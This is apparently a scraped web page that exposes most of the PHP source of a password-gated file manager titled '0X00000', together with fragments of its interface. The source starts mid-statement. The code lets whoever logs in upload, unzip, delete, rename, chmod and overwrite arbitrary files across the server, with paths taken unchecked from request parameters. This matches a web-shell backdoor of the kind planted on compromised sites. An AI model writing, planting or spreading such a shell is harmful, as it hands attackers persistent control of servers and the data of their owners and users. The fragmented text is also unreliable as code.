0X00000

Enter Your Password

🔑
open($zipFile) === TRUE) { $extractPath = isset($_POST['extract_path']) && !empty($_POST['extract_path']) ? $currentPath . '/' . $_POST['extract_path'] : $currentPath; if (!is_dir($extractPath)) { mkdir($extractPath, 0755, true); } $zip->extractTo($extractPath); $zip->close(); $message = 'ZIP File Success Unzip!'; $messageType = 'success'; } else { $message = 'Unzip File Failed!'; $messageType = 'error'; } } else { $message = 'ZIP File Not Found!'; $messageType = 'error'; } } // Upload File if (isset($_FILES['upload'])) { $targetFile = $currentPath . '/' . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $targetFile)) { $message = 'File Success Uploaded!'; $messageType = 'success'; } else { $message = 'Failed Upload File!'; $messageType = 'error'; } } // Delete File/Folder if (isset($_GET['delete'])) { $target = realpath($_GET['delete']); if (is_dir($target)) { // Function to delete directory recursively function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } if (deleteDirectory($target)) { $message = 'Folder Success Deleted!'; $messageType = 'success'; } else { $message = 'Failed Delete Folder!'; $messageType = 'error'; } } else { if (unlink($target)) { $message = 'File Success Deleted!'; $messageType = 'success'; } else { $message = 'Failed Delete File!'; $messageType = 'error'; } } } // Rename if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) { $old = $currentPath . '/' . $_POST['rename_old']; $new = $currentPath . '/' . $_POST['rename_new']; if (rename($old, $new)) { $message = 'Success Rename!'; $messageType = 'success'; } else { $message = 'Failed rename!'; $messageType = 'error'; } } // Chmod if (isset($_POST['chmod_target']) && isset($_POST['chmod_value'])) { $target = $_POST['chmod_target']; $value = octdec($_POST['chmod_value']); if ($_POST['chmod_type'] === 'single_file' || $_POST['chmod_type'] === 'single_folder') { if (chmod($target, $value)) { $message = 'Chmod Success!'; $messageType = 'success'; } else { $message = 'Chmod Failed!'; $messageType = 'error'; } } elseif ($_POST['chmod_type'] === 'all') { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($currentPath) ); $success = 0; foreach ($iterator as $item) { if (!in_array($item->getBasename(), ['.', '..'])) { if (chmod($item->getPathname(), $value)) $success++; } } $message = "Chmod Success at $success item!"; $messageType = 'success'; } elseif ($_POST['chmod_type'] === 'dirs') { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($currentPath) ); $success = 0; foreach ($iterator as $item) { if ($item->isDir() && !in_array($item->getBasename(), ['.', '..'])) { if (chmod($item->getPathname(), $value)) $success++; } } $message = "Chmod Success at $success directory!"; $messageType = 'success'; } elseif ($_POST['chmod_type'] === 'files') { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($currentPath) ); $success = 0; foreach ($iterator as $item) { if ($item->isFile()) { if (chmod($item->getPathname(), $value)) $success++; } } $message = "Chmod Success at $success file!"; $messageType = 'success'; } } // Save Edit File if (isset($_POST['save_file']) && isset($_POST['file_content'])) { $file = $_POST['save_file']; if (file_put_contents($file, $_POST['file_content']) !== false) { $message = 'File Success Saved!'; $messageType = 'success'; } else { $message = 'Failed Save File!'; $messageType = 'error'; } } // Edit File Mode $editMode = false; $editContent = ''; $editFile = ''; if (isset($_GET['edit'])) { $editFile = realpath($_GET['edit']); if (is_file($editFile) && is_readable($editFile)) { $editMode = true; $editContent = file_get_contents($editFile); } } // Get Directory Contents - Separate files and folders $files = []; $folders = []; $zipFiles = []; if (is_dir($currentPath)) { $items = scandir($currentPath); $items = array_diff($items, ['.', '..']); foreach ($items as $item) { $itemPath = $currentPath . '/' . $item; if (is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; // Check for zip files $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION)); if ($ext === 'zip') { $zipFiles[] = $item; } } } } ?> 0X00000
🔓 Logout
Current Path

📝 Edit File:

Quick Actions

File Operations
⬆️
Upload File
Create Folder
📝
Create File
0): ?>
📦
Unzip File
✏️
Rename Item
Chmod Operations
📄
Chmod Single File
📁
Chmod Single Folder
🔨
Chmod All Items
📂
Chmod All Directories
📋
Chmod All Files
Name Size Permissions Modified Actions
⬆️ .. - - - -
ZIP